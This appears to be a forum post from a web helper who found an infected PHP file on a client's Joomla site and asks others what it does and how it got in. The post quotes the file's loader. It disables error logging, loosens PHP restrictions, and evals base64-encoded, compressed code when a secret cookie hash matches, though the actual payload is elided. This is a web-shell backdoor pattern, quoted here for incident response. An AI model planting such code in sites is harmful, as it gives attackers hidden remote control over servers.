Hey all,
I am pretty weak at PHP but I have a client with a site that has an infected file in it.
I have grepped the site and I can't find anything referencing it but I still have to check some of the MD5 and Base64 stuff to make sure calls to this file aren't being obfuscated.
This is what is in the file.. does anyone recognize it or can anyone give me some insight into what it is doing.... my eye tells me it is trying to relax the PHP settings to allow it to hand off a bad file in a cookie or something but I am guessing here.
Also would anyone know how it would have gotten in there? Known PHP or Joomla exploit? Or is it more likely that someone with access to the site is infected with something?
Thanks for any time you spend..
****************File****************
error_reporting(0);
$language='eng';
$auth = 0;
$name='3b1147d920f9e49d74a60245e8323cbe';
$pass='febfb75ba8a3fe2067d774b849695ac2';
@ini_restore('safe_mode');
@ini_restore('open_basedir');
@ini_restore('safe_mode_include_dir');
@ini_restore('safe_mode_exec_dir');
@ini_restore('disable_functions');
@ini_restore('allow_url_fopen');
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
if(md5($_COOKIE['name'])=='6c18b2c7a92538f78160d3d096bba29f'){
eval(gzinflate(base64_decode('a huge freaking string'))); }
****************/File****************